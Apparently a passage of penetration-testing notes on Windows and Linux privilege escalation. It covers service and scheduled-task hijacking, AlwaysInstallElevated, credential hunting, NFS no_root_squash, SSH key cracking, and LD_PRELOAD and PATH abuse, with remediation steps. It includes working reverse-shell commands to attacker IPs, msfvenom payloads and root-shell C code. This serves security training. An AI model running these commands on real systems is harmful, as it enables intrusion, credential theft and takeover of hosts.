  • dir WServ*

6. Now assign Full (F) permissions to Everyone

  • icacls WService.exe
  • icacls WService.exe /grant Everyone:F
  • icacls WService.exe

7. Once, the original file has been replaced by our crafted program, we will proceed to restart the service that run it

  • sc.exe stop windowsscheduler
  • sc.exe start windowsscheduler

8. As it ran, you should get the reverse shell

  • whoami

Metasploit

This module attempts to exploit existing administrative privileges to obtain a SYSTEM session. If directly creating a service fails, this module will inspect existing services to look for insecure configuration, file or registry permissions that may be hijacked. It will then attempt to restart the replaced service to run the payload.

  • use exploit/windows/local/service_permissions
  • set lhost 192.168.1.3
  • set session 1
  • exploit

This will result in a new session as NT AUTHORITY\SYSTEM when this succeeds.

Remedy

Check if any of the following groups have permissions to modify executable files that are started by Windows services:

- Everyone

- Users

- Domain Users

- Authenticated Users

Ensure the groups listed above do not have permissions to modify or write service executables. Additionally, ensure these groups do not have Full Control permission to any directories that contain service executables.

Sources

https://medium.com/@LE0_Hak/privileges-escalation-techniques-basic-to-advanced-for-windows-d0f0c04d6d04

https://asfiyashaikh.medium.com/windows-privesc-weak-service-permission-b90f3bf4d44f

https://www.hackingarticles.in/windows-privilege-escalation-weak-services-permission/

https://medium.com/@gwazzu/windows-privilege-escalation-c7465a92317c

https://help.defense.com/en/articles/6600745-insecure-windows-service-permissions

https://www.tenable.com/plugins/nessus/65057

[Privilege Escalation] Abusing AlwaysInstallElevated

AlwaysInstallElevated is a registry setting in Microsoft Windows that, when configured, allows non-administrative users to install Microsoft Windows Installer packages (MSI files) with elevated privileges. This setting is intended for specific scenarios where non-administrative users need the ability to install certain software packages. However, if misconfigured or abused, it can pose a security risk.

If a machine has the AlwaysInstallElevated policy enabled, an attacker could craft a malicious .msi package and run it using SYSTEM level privileges, therefore executing arbitrary code as SYSTEM.

For this attack to work, the “AlwaysInstallElevated” value in following Registry keys has to be set to 1:

  • HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
  • HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer

For the Windows configuration

Type gpedit.msc in the Run dialog box of the Start Menu in the Windows 7 machine and the Local Group Policy editor window prompt will open

  • Change the settings of AlwaysInstalledElevated policy
  • For the Computer configuration

Navigate to the below path in the Windows machine

  • Computer Configuration\Administrative Templates\Windows Components\Windows Installer

Enable the Always install with elevated privileges

For the User configuration

Navigate to the below path in the Windows machine

  • User Configuration\Administrative Templates\Windows Components\Windows Installer

Enable the Always install with elevated privileges

Detection

1. Query the AlwaysInstallElevated registries

  • reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  • reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

WinPEAS

1. This can also be checked with automated scripts such as WinPEAS:

  • winpeas.exe quiet systeminfo

Exploitation

1. We can craft our own MSI payload, in this case we will use MSFVenom

  • msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_10.10.254.109 LPORT=LOCAL_PORT -f msi -o malicious.msi
  • msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f msi > /root/Desktop/2.msi

2. Transfer the Msi package to the target computer

3. install the .msi file:

  • msiexec /quiet /qn /i file.msi

The flags used are for the following:

  • /quiet – quiet mode, which means there’s no user interaction required
  • /qn – specifies there’s no UI during the installation process
  • Specifies normal installation

Note: Once the package is installed, the malicious code is executed, granting SYSTEM level access to the system through a reverse shell.

Metasploit Exploitation

1. This vulnerability can also be exploited by using the always_install_elevated Metasploit module. Once a meterpreter shell is obtained, all that is required is to brackground the session, search for and set the module, set the session value and run it:

  • use exploit/windows/local/always_install_elevated
  • msf exploit(always_install_elevated) > set session 1
  • msf exploit(always_install_elevated) > exploit

Recommendations

1. Disable “AlwaysInstallElevated” Policy

To mitigate this type of attack, the following steps can be used in Group Policy editor to resolve the misconfiguration. Configure the policy value to "Disabled" for

  • Computer Configuration \Administrative Templates\Windows Components \Windows Installer \"Always install with elevated privileges"
  • User Configuration\Administrative Templates\Windows Components\Windows Installer \"Always install with elevated privileges"

2. Limit User Privileges

3. Registry Events

  • The below snippet shows Sysmon Event ID 13: RegistryEvent (Value Set).

References

https://steflan-security.com/windows-privilege-escalation-alwaysinstallelevated-policy/

https://www.hackingarticles.in/windows-privilege-escalation-alwaysinstallelevated/

https://juggernaut-sec.com/alwaysinstallelevated/

https://systemweakness.com/understanding-registry-escalation-exploiting-the-alwaysinstallelevated-setting-for-windows-c9d137152849

https://dmcxblue.gitbook.io/red-team-notes/privesc/unquoted-service-path

https://bherunda.medium.com/windows-privesc-detecting-alwaysinstallelevated-policy-abuse-f3ffa7a734bd

https://library.mosse-institute.com/articles/2022/07/windows-privilege-escalation-alwaysinstallelevated/windows-privilege-escalation-alwaysinstallelevated.html

[Credential Dumping] Hunting for passwords in usual spots

Common Commands and searches

Search for hidden files

  • dir /a C:

Search for file names and contents

  • dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* == *user*
  • findstr /SI "passw pwd" *.xml *.ini *.txt *.ps1 *.bat *.config
  • dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Search for passwords in registry

  • reg query HKLM /f password /t REG_SZ /s
  • reg query HKLU /f password /t REG_SZ /s

Read the Registry

  • reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon"
  • reg query "HKLMSYSTEMCurrentControlSetServicesSNMP"
  • reg query "HKCUSoftwareSimonTathamPuTTYSessions"
  • reg query "HKCUSoftwareORLWinVNC3Password"
  • reg query HKEY_LOCAL_MACHINESOFTWARERealVNCWinVNC4 /v password
  • reg query "HKCUSoftwareORLWinVNC3Password"
  • reg query "HKCUSoftwareTightVNCServer"
  • reg query "HKCUSoftwareOpenSSHAgentKeys"

Hunting for SAM and SYSTEM Backups

  • cd C: & dir /S /B SAM == SYSTEM == SAM.OLD == SYSTEM.OLD == SAM.BAK == SYSTEM.BAK

Check permissions

  • icacls "C:WindowsSystem32ConfigRegback"

Interesting locations

  • C:Windowssysprepsysprep.xml
  • C:Windowssysprepsysprep.inf
  • C:Windowssysprep.inf
  • C:WindowsPantherUnattended.xml
  • C:WindowsPantherUnattend.xml
  • C:WindowsPantherUnattendUnattend.xml
  • C:WindowsPantherUnattendUnattended.xml
  • C:WindowsSystem32Sysprepunattend.xml
  • C:WindowsSystem32Sysprepunattended.xml
  • C:unattend.txt
  • C:unattend.inf
  • VARIABLES.DAT
  • setupinfo
  • setupinfo.bak
  • web.config
  • SiteList.xml
  • .awscredentials
  • .azureaccessTokens.json
  • .azureazureProfile.json
  • gcloudcredentials.db
  • gcloudlegacy_credentials
  • gcloudaccess_tokens.db

Chrome Password

  • gc 'C:UsersuserAppDataLocalGoogleChromeUser DataDefaultCustom Dictionary.txt' | Select-String password

Unattended Windows Installations

When installing Windows on a large number of hosts, administrators may use Windows Deployment Services, which allows for a single operating system image to be deployed to several hosts through the network. These kinds of installations are referred to as unattended installations as they don't require user interaction. Such installations require the use of an administrator account to perform the initial setup, which might end up being stored in the machine in the following locations:

  • C:Unattend.xml
  • C:WindowsPantherUnattend.xml
  • C:WindowsPantherUnattendUnattend.xml
  • C:Windowssystem32sysprep.inf
  • C:Windowssystem32sysprepsysprep.xml

Powershell History

Whenever a user runs a command using Powershell, it gets stored into a file that keeps a memory of past commands. This is useful for repeating commands you have used before quickly. If a user runs a command that includes a password directly as part of the Powershell command line, it can later be retrieved by using the following command from a cmd.exe prompt:

  • type %userprofile%AppDataRoamingMicrosoftWindowsPowerShellPSReadlineConsoleHost_history.txt
  • type C:UsersbobAppDataRoamingMicrosoftWindowsPowerShellPSReadLineConsoleHost_history.txt
  • (Get-PSReadLineOption).HistorySavePath
  • gc (Get-PSReadLineOption).HistorySavePath
  • foreach($user in ((ls C:users).fullname)){cat "$userAppDataRoamingMicrosoftWindowsPowerShellPSReadlineConsoleHost_history.txt" -ErrorAction SilentlyContinue}

Note: The command above will only work from cmd.exe, as Powershell won't recognize %userprofile% as an environment variable. To read the file from Powershell, you'd have to replace %userprofile% with $Env:userprofile

Saved Windows Credentials

Windows allows us to use other users' credentials. This function also gives the option to save these credentials on the system. The command below will list saved credentials:

  • cmdkey /list

While you can't see the actual passwords, if you notice any credentials worth trying, you can use them with the runas command and the /savecred option, as seen below.

  • runas /savecred /user:admin cmd.exe
  • runas /env /noprofile /savecred /user:DESKTOP-T3I4BBKadministrator "c:tempnc.exe 172.16.1.30 443 -e cmd.exe"

IIS Configuration

Internet Information Services (IIS) is the default web server on Windows installations. The configuration of websites on IIS is stored in a file called web.config and can store passwords for databases or configured authentication mechanisms. Depending on the installed version of IIS, we can find web.config in one of the following locations:

  • C:inetpubwwwrootweb.config
  • C:WindowsMicrosoft.NETFramework64v4.0.30319Configweb.config

Here is a quick way to find database connection strings on the file:

  • type C:WindowsMicrosoft.NETFramework64v4.0.30319Configweb.config | findstr connectionString

Retrieve Credentials from Software: PuTTY

PuTTY is an SSH client commonly found on Windows systems. Instead of having to specify a connection's parameters every single time, users can store sessions where the IP, user and other configurations can be stored for later use. While PuTTY won't allow users to store their SSH password, it will store proxy configurations that include cleartext authentication credentials.

To retrieve the stored proxy credentials, you can search under the following registry key for ProxyPassword with the following command:

  • reg query HKEY_CURRENT_USERSoftwareSimonTathamPuTTYSessions /f "Proxy" /s

[Privilege Escalation] Windows Schedule Tasks: Weak Permissions

we will be exploring vulnerable scheduled tasks; this time has to do with weak folder permissions.

Enumerate Scheduled tasks

1. Search for tasks

  • schtasks /query /fo LIST /v | findstr /B /C:"Folder" /C:"TaskName" /C:"Run As User" /C:"Schedule" /C:"Scheduled Task State" /C:"Schedule Type" /C:"Repeat: Every" /C:"Comment"
  • schtasks /query /fo LIST /v
  • schtasks /query /tn <TASKNAME> /fo list /v
  • schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab"
  • schtasks /query /fo LIST 2>nul | findstr TaskName
  • schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM

Powershell

  • Get-ScheduledTask
  • Get-ScheduledTask | ft TaskName,TaskPath,State
  • Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

"Task to Run" parameter which indicates what gets executed by the scheduled task

"Run As User" parameter, which shows the user that will be used to execute the task.

2. Check If our current user can modify or overwrite the "Task to Run" executable, we can control what gets executed by the taskusr1 user, resulting in a simple privilege escalation. To check the file permissions on the executable, we use icacls:

  • icacls c:\tasks\schtask.bat

Note: As can be seen in the result, the BUILTIN\Users group has full access (F) over the task's binary. This means we can modify the .bat file and insert any payload we like.

The permissions we are looking for on the file/folder are any one of the following three permissions:

  • (F) Full Control
  • (M) Modify
  • (W) Write

3. Interesting locations Start-Up folder

  • dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul
  • dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul
  • dir /b "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
  • dir /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
  • Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
  • Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"

Exploitation (Weak Permissions) Reverse shell

1. Knowing our user has rights to modify the program, we can transfer a netcat for windows program, and name the command with the permissions “Run as User” has. (https://github.com/int0x33/nc.exe/)

  • iwr http://10.9.139.128:9999/nc.exe -OutFile nc.exe

2. Having the program in the target machine, we can proceed to create a new file that will execute instead, we have to name it the same as in the schedule task

  • echo C:\tasks\nc.exe -e cmd.exe 10.9.139.128 4444 > C:\tasks\schtask.bat

Note: Make sure the file that will be executed, is in a directory that the scheduled task user can access and execute

3. You have to wait for the tasks to execute. Check your listener in your local machine

Detection

  • Tools such as Sysinternals Autoruns can detect system changes like showing presently scheduled jobs.
  • Tools like TCPView & Process Explore may help to identify remote connections for suspicious services or processes.
  • View Task Properties and History: To view a task’s properties and history by using a command line
  • Perform an audit scan to find out week or misconfiguration with the help of automated script using tools such as WinPeas, SharpUp, etc. Read more from here “Window Privilege Escalation: Automated Script”.
  • Make sure the scheduled task should not be run as SYSTEM.

Reference

https://www.hackingarticles.in/windows-privilege-escalation-scheduled-task-job-t1573-005/

https://juggernaut-sec.com/scheduled-tasks/

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries

[Privilege Escalation] NFS Squashing (no_root_squash/no_all_squash)

NFS or “Network File Sharing” is a protocol that runs on port 2049 and consists of two components, the server and the client(s). Shared directories are created on the NFS server component so that they can be shared with other Linux clients over a network. Permitted users can add files to the share, which are then shared with other users who have access to the directory.

What is NFS Squash?

Network File System (NFS) Squashing, also known as Root Squashing, is a security feature implemented in NFS servers to restrict the privileges of remote users, especially the root user (uid 0), when accessing NFS-exported directories. When root squashing is enabled, the root user on the client system is mapped to an unprivileged user on the NFS server, typically 'nobody' or 'nfsnobody.'

The primary goal of NFS Squashing is to enhance security by preventing remote root users from having unrestricted access to NFS-exported file systems. Without squashing, a compromised or malicious remote root user could potentially modify or delete any file on the NFS server, posing significant security risks.

  • no_root_squash: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications.
  • no_all_squash: This is similar to no_root_squash option but applies to non-root users. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user.

Vulnerabilities and Misconfigurations:

1. Misconfiguration of NFS Export Options:

  • A common misconfiguration involves not enabling root squashing explicitly. If the NFS export options do not include 'root_squash,' the NFS server may allow remote root users to access and modify files with full root privileges.

2. Insecure Network Configurations:

  • If NFS traffic is transmitted over an insecure network without proper encryption or authentication mechanisms, attackers could potentially intercept and manipulate NFS requests to exploit root squashing vulnerabilities.

Identification

1. Identify the NFS port

  • nmap 10.10.46.249

2. Enumerate further

  • nmap -A -sV -sC -T4 10.10.46.249

Note: So the port for NFS shares is 2049, but we are also very interested in port 111 because that is the rpc port that the NFS share will bind to. This output reveals the version of NSF also.

3. Enumerate using Nmap scripts

  • nmap -p 111,2049 --script=nfs-* 10.10.46.249

Note: the permissions on (., ..) RWX show we have full access. The NoExecute flag is also set, so we won’t be able to execute any binaries or scripts in the share.

4. Identify the mount folders available

  • showmount -e 10.10.46.249
  • showmount --all 10.10.46.249

Note: The * means all networks allowed

Local enumeration

1. Read the /etc/exports file, if you find some directory that is configured as no_root_squash, then you can access it from as a client and write inside that directory as if you were the local root of the machine.

  • cat /etc/exports

  • rw: This option gives the client computer both read and write access to the volume.
  • sync: This option forces NFS to write changes to disk before replying. This results in a more stable and consistent environment but reduces the speed of file operations.
  • inescure: This option allows clients to use any port to access NFS shares.
  • no_subtree_check: This option prevents subtree checking, which is a process where the host must check whether the file is actually still available in the exported tree for every request.
  • no_root_squash: This option allows privileged file writes inside the share. By default, NFS translates requests from a root user remotely into a non-privileged user on the server.

LinPEAS

1. LinPEAS can also alert us about NFS Squash

  • ./LinPEAS.sh

Exploitation

1.  create a mount point on your local machine and mount the share

  • mkdir /tmp/nfs
  • mount -o rw,vers=3 10.10.130.171:/tmp /tmp/nfs

2. Verify the NFS partition was mounted

  • mount -t nfs
  • cd /tmp/nfs
  • ls -la

3. Generate a payload, this time I’ll be using msfvenom, and save it to the mounted share (this payload simply calls /bin/bash), this file MUST have the owner as root

  • msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf

4. make the file executable and set the SUID permission:

  • chmod +xs /tmp/nfs/shell.elf

5. From the local session in the target machine run this file from the NFS shared folder, which inherited the permissions our local mahine’s root permissions, it will run it as the remote machine local root

  • cd /tmp
  • ls -l
  • ./shell.elf

6. Verify which user ran this new shell

  • whoami && id

Extra 1: Copying /bin/bash for a Root Shell

1. Alternatively you could have copied /bin/bash from you local machine to NFS shared folder, and assign the sticky bit

  • cp /bin/bash /tmp/nfs
  • chmod +xs bash
  • ls -l

2. Again, in the target machine, run the executable

  • ./bash -p
  • whoami && id

Extra 2: Crafting an Exploit for a Root Shell

1. To craft our custom exploit that will drop us into a root shell, we can use the following commands, to create a c file, compile it

  • echo 'int main() { setgid(0); setuid(0); system("/bin/bash -p"); return 0; }' > /mnt/share/root_shell.c
  • gcc ./root_shell.c -o ./root_shell
  • ls -l

2. Assign proper permissions

  • chmod +s root_shell
  • ls -l

3. Now run it from the remote machine session

  • whoami && id

Port Forwarding the NFS Share

1. When accessing the NFS share externally root_squash enabled and we cannot perform privileged file writes. However, we can access the file share from localhost 127.0.0.1/32, we can perform privileged file writes on the NFS server.

Since we know the NFS share runs on port 2049, and we also know that the user has access to the system through SSH, then the easiest way to forward this port out to our attacker machine is by performing local port forwarding.

  • ssh -N -L 127.0.0.1:2049:127.0.0.1:2049 user@10.9.139.128
  • ssh -N -L 127.0.0.1:2049:127.0.0.1:2049 user@10.10.130.171 -oHostKeyAlgorithms=+ssh-rsa

Note: This says… Do not execute any commands on the remote host (-N) and perform local port forwarding (-L). Bind port 2049 to 127.0.0.1 on our attacker machine from port 2049 running on 127.0.0.1 on the target machine. Lastly, we are logging in using juggernaut to perform this action for us.

2. Seeing the prompt hang indicates that the port forwarding was successful; and when we open a new tab on our attacker machine and run the netstat -tulpn command, we should see port 2049 open locally.

  • netstat -tulpn

3. With the NFS server open to us locally, we can mount it just like we did earlier except we just need to adjust the command to mount the share locally instead of externally, this will look something like this:

  • mount -t nfs -o port=2049 127.0.0.1:/tmp /tmp/nfs

4. To confirm that we can perform privileged writes in the share, we can navigate to the mounting point on our attacker machine and create a test file, just the same as we did when we mounted the share the first time.

  • touch file.txt
  • ls -l

Note: The permissions should be the ones from the attacker machine. This means we can either create a malicious binary or do something a bit more simple like… copy /bin/bash into the share, set root:root ownership and SUID permissions on it, and then SSH back into the victim and execute it with user to elevate our privileges to root!

Remediation Steps:

1. Enable Root Squashing:

  • Always enable root squashing on NFS servers to ensure that remote root users are mapped to unprivileged users.

2. Secure Network Configurations:

  • Use secure network configurations, such as encrypting NFS traffic with technologies like IPsec or configuring NFS over a Virtual Private Network (VPN).

3. Regular Auditing and Monitoring:

  • Implement regular audits and monitoring of NFS server logs to detect any unauthorized access or suspicious activities.

4. Limit Access:

  • Restrict access to NFS exports by specifying specific IP addresses or networks that are allowed to mount the file systems.

5. Keep Software Updated:

  • Ensure that both the NFS server and client software are kept up to date with the latest security patches to mitigate known vulnerabilities.

6. Use NFSv4:

  • Consider using NFS version 4, which includes improved security features compared to older versions.

Sources

https://juggernaut-sec.com/nfs-no_root_squash/

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe

https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md

[Privilege Escalation] SSH Keys

SSH keys explained - DEV Community

SSH keys, or Secure Shell keys, are cryptographic keys used for secure communication over an unsecured network. They provide a secure method for authentication between a client and a server, allowing users to access and manage remote systems securely.

Security Risks:

Key Theft:

  • If an unauthorized person gains access to your private SSH key, they can impersonate you and gain unauthorized access to systems you have access to.

Weak Key Generation:

  • Poorly generated keys may be susceptible to brute-force attacks. It's crucial to use a strong, random key generation process.

Key Spoofing:

  • Attackers might attempt to intercept or manipulate the communication to present a false public key, leading to potential security breaches.

Unauthorized Key Access:

  • If an attacker gains access to an authorized user's public key, they can add it to their own authorized_keys file and gain access to systems.

Key Exposure:

  • Storing private keys on insecure devices or sharing them improperly increases the risk of exposure.

Example of User & key creation

User Creation

1. Use the following command to add a new user (replace username with the desired username):

  • sudo useradd -m user1

The -m option ensures that a home directory is created for the user.

2. Set a password for the new user:

  • sudo passwd user1

Follow the prompts to enter and confirm the password.

RSA SSH keys creation

1. Now, you can add an RSA SSH certificate for the user. You can do this by creating a .ssh directory in the user's home directory and adding an authorized_keys file to it.

  • mkdir -p /home/user1/.ssh
  • touch /home/user1/.ssh/authorized_keys

2. Set the appropriate permissions for the .ssh directory and the authorized_keys file:

  • chmod 700 /home/user1/.ssh
  • chmod 600 /home/user1/.ssh/authorized_keys
  • (OPTIONAL) chown -R username:username /home/username/.ssh

3. Generate the key pair. This command will create a new RSA key pair (private and public keys) in the default location (~/.ssh/id_rsa for the private key and ~/.ssh/id_rsa.pub for the public key).

  • ssh-keygen -t rsa -b 2048

4. Add this keys, to the authorized_keys file

  • ssh-copy-id username@hostname
  • ssh-copy-id user1@Vk9-Security

Identifying keys

1. You can search for files that are readable, and contain the word “PRIVATE KEY”, then list the file. You can set up the starting point where you want

  • find / -type f -readable -exec grep -q "PRIVATE KEY" {} \; -exec sh -c 'ls -l "$1"' sh {} \; 2> /dev/null
  • find /home -type f -readable -exec grep -q "PRIVATE KEY" {} \; -exec sh -c 'ls -l "$1"' sh {} \; 2> /dev/null

LinPEAS

1. You can also, find some keys that can be read in .ssh files

  • ./LinPEAS.sh

Exploiting READ permission (Without password)

1. Sometimes users make backups of important files but fail to secure them with the correct permissions, or even, the original files were not secured properly, allowing other users to read the contents of SSH keys.

  • cat root_key

2. You can copy the contents of this file into your computer, and assign the permissions 600 using chmod command

  • vi id_rsa
  • chmod 600 id_rsa
  • ls -l
  • cat id_rsa

3. Using file we can make sure if this a private key, also the line “BEGIN RSA PRIVATE KEY” says it all

  • file id_rsa

4. (OPTIONAL) This key seems to be encoded in base64 format, so we try to decoded, sometimes we can find the user this key belongs to

  • echo """<key>""" | base64 -d

Note: This screenshot is from another example

5. Now, Knowing the user this belongs to, we can try to use this key to authenticate

  • ssh -i id_rsa root@10.10.130.8
  • ssh -i id_rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@10.10.130.8

Note: I had to use (-oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa) because this server was not accepting the authentication offer

Exploiting READ permission (password protected)

1. Same steps a before, just when you try to use the certificate, SSH will ask for the private key password, which we don’t know

  • ssh user1@127.0.0.1 -i id_rsa

2. We need to crack the private key password, for this we can use ssh2john, to prepare the file to be cracked by john

  • ssh2john id_rsa > new_id_rsa
  • cat new_id_rsa

3. Now using john, we can crack the password

  • john --wordlist=/usr/share/wordlists/rockyou.txt new_id_rsa

Note: So here we have our password

4. Now we can try this password when SSH asks for the key pass phrase

  • ssh user1@127.0.0.1 -i id_rsa

5. (OPTIONAL) Doing again the decode with base64 string we can have an idea of what type of encryption is used

  • echo """<key>""" | base64 -d

Recommendations

Key Management:

  • Regularly audit and manage SSH keys. Remove unused or unnecessary keys from authorized_keys files.

Strong Key Generation:

  • Use robust, industry-standard algorithms like RSA or ECDSA and ensure sufficiently long key lengths.

Passphrase Protection:

  • Assign passphrases to private keys to add an extra layer of security. This passphrase encrypts the private key and must be entered before the key can be used.

Key Rotation:

  • Periodically rotate SSH keys, especially if someone with access leaves the team or if there's a suspicion of compromise.

Limiting Key Access:

  • Restrict the use of keys to specific IP addresses, commands, or users through the SSH configuration.

Multi-Factor Authentication (MFA):

  • Combine SSH key authentication with MFA to add an extra layer of security.

Secure Storage:

  • Store private keys securely, using hardware tokens or encrypted containers.

Regular Audits:

  • Conduct regular security audits to identify and rectify any vulnerabilities.

Monitoring:

  • Implement logging and monitoring to detect and respond to suspicious activities.

[Privilege Escalation] Sudo – Environment Variables

The sudo command in Unix-based systems allows specified users to execute commands as another user, typically the superuser (root). When used incorrectly or in conjunction with environment variables like LD_PRELOAD and LD_LIBRARY_PATH, it can introduce security vulnerabilities.

Environment Variables and sudo Vulnerabilities:

LD_PRELOAD: This variable specifies a list of additional dynamic libraries to be loaded before all others. It can be exploited to load a shared library into the memory space of the running process, potentially altering its behavior.

  • Manipulating LD_PRELOAD to load a malicious library before the standard libraries, allowing for code injection or alteration of program behavior.

LD_LIBRARY_PATH: It defines a search path for shared libraries. If manipulated, it can force the system to load malicious libraries from unintended locations.

  • Modifying LD_LIBRARY_PATH to load unauthorized or malicious libraries before the legitimate ones, enabling unauthorized code execution.

LD_PRELOAD loads a shared object before any others when a program is run. LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.

Example of a misconfigured sudoers

  • sudo -l

Explanation

env_reset: This option resets the environment to a default, secure state before executing a command using sudo. It clears the environment variables that might pose a security risk or influence command behavior in an unintended way.

env_keep+=LD_PRELOAD: This part instructs sudo to preserve the LD_PRELOAD environment variable from being reset. The += means to add to the list of preserved variables. LD_PRELOAD allows the preloading of shared libraries before other libraries, which could potentially be exploited for malicious purposes. By keeping this variable, it remains unchanged when sudo resets the rest of the environment.

env_keep+=LD_LIBRARY_PATH: Similar to LD_PRELOAD, this line also tells sudo to preserve the LD_LIBRARY_PATH environment variable. LD_LIBRARY_PATH specifies additional paths to search for shared libraries. Preserving it could be useful in certain scenarios where specific libraries need to be located.

This is how a default sudoers looks like

Identification

1. To identify if LD_PRELOAD or LD_LIBRARY_PATH have been enabled, we can run

  • sudo -l

Note: We can also read /etc/sudoers, but that is usually restricted

LinPEAS

1. Using LinPEAS.sh we can enumerate sudo -l as well (https://github.com/carlospolop/PEASS-ng/tree/master)

  • ./LinPEAS.sh

Exploitation: LD_PRELOAD

1. When a program is running, LD_PRELOAD loads a shared object before any others. By writing a simple script with init() function, it will help us execute code as soon as the object is loaded.

2. Create a new shared object

  • cd tmp
  • vi preload.c

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

void _init() {

unsetenv("LD_PRELOAD");

setresuid(0,0,0);

system("/bin/bash -p");

}

3. Compile the code

  • gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
  • ls -l preload*

3. Run one of the programs you are allowed to run via sudo (listed when running sudo -l), while setting the LD_PRELOAD environment variable to the full path of the new shared object( sudo LD_PRELOAD=/tmp/preload.so program-name-here)

  • sudo -l
  • sudo LD_PRELOAD=/tmp/preload.so /usr/bin/man
  • whoami && id

4. Now you are root!

Exploitation: LD_LIBRARY_PATH

1. The LD_LIBRARY_PATH contains a list of directories which search for shared libraries first. You must test each of the shared libraries to know which one is vulnerable

  • sudo -l
  • ldd /usr/sbin/iftop

2. Use one of the shared objects in the list and we will hijack it by creating a file with same name. For this demonstration, we will be targeting the libpthread.so.0 (/lib/libpthread.so.0) file.

  • vi library_path.c
  • cat library_path.c

#include <stdio.h>

#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {

unsetenv("LD_LIBRARY_PATH");

setresuid(0,0,0);

system("/bin/bash -p");

}

3. Create a shared object with the same name as one of the listed libraries

  • gcc -o /tmp/libpthread.so.0 -shared -fPIC /tmp/library_path.c
  • ls -l lib*

4. Run one of the programs you are allowed to run via sudo (listed when running sudo -l), while setting the LD_LIBRARY_PATH environment variable to the full path of the new shared object( sudo LD_LIBRARY_PATH=/tmp/libgdbm.so.3 program-name-here)

  • sudo LD_LIBRARY_PATH=/tmp /usr/sbin/iftop
  • whoami && id

5. Now you are root!

Extra

1. Try renaming /tmp/libgdbm.so.3 to the name of another library used by the program and re-run it using sudo again. Did it work? If not, try to figure out why not, and how the library_path.c code could be changed to make it work.

Remediation

  • Restrict Environment Variables: Within the sudo configuration, limit or explicitly deny the preservation of critical environment variables like LD_PRELOAD and LD_LIBRARY_PATH.
  • Use Defaults: Set the env_reset option in the sudoers file to reset the environment to a default state, clearing potentially dangerous variables.
  • Whitelist Approved Paths: If necessary, specify approved paths within the sudoers file where LD_LIBRARY_PATH can be used.
  • Update sudo Configuration: Regularly review and update the sudo configuration to reflect the least privilege principle and remove unnecessary permissions.

[Privilege Escalation] SUID / SGID Executables – Environment Variables

SUID (Set User ID) and SGID (Set Group ID) are permissions in Unix-based systems that allow users to execute a file with the permissions of the file owner or group, respectively. When these permissions are set on executables and combined with environment variables, it can lead to potential security vulnerabilities if not managed properly.

Environment variables, like PATH, LD_LIBRARY_PATH, or PYTHONPATH, can be manipulated by attackers to potentially influence the behavior of SUID/SGID executables. If an SUID/SGID binary relies on environment variables to locate libraries, binaries, or configurations, an attacker can manipulate these variables to control the behavior of the executable.

If a program is attempting to execute programs without specifying an absolute path, we could modify the $PATH variables, to direct the program to our own script or binary.

Identification

SUID

1. To hunt for all SUID binaries on the system

  • find / -type f -perm -4000 2>/dev/null
  • find / -type f -perm -u=s 2>/dev/null

SGID

1. You can also search for specific user SUID

  • find / -type f -perm -4000 -user root -ls 2>/dev/null
  • find / -type f -perm -u=s -user root -ls 2>/dev/null

Extra

1. You can search for both at the same time

  • find / \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \; 2> /dev/null
  • find / \( -perm -g=s -o -perm -u=s \) -type f -exec ls -la {} \; 2> /dev/null

LinPEAS

1. Using LinPEAS.sh we can enumerate SUID and SGID

  • Transfer the script into the target machine
  • Run it: ./LinPEAS.sh

suid3num

1. Enumerate SUID using suid3num.py script (https://github.com/Anon-Exploiter/SUID3NUM), we’ll take a look at /usr/local/bin/suid-so

  • Python2.6 suid3enum.py

Exploitation #1

1. In our case, we see some interesting SUID/SGID set files. I will test suid-env against this vulnerability. We can review this code, to try to find any program being called without specifying the absolute path

  • strings /usr/local/bin/suid-env

Note: In our case, we found this program trying to execute apache2, One line ("service apache2 start") suggests that the service executable is being called to start the webserver, however the full path of the executable (/usr/sbin/service) is not being used.

2. Create a code that spawns a shell, in any writable directory, and call it as service, then compile it

int main() {

setuid(0);

system("/bin/bash -p");

}

  • vi service.c
  • cat service.c
  • gcc -o service service.c
  • ls -l service*

3. Prepend the current directory (or where the new service executable is located) to the PATH variable, and run the suid-env executable to gain a root shell

  • echo $PATH
  • pwd
  • export PATH=/home/user:$PATH
  • cat $PATH

Note: You can also run, not to change the environment variable

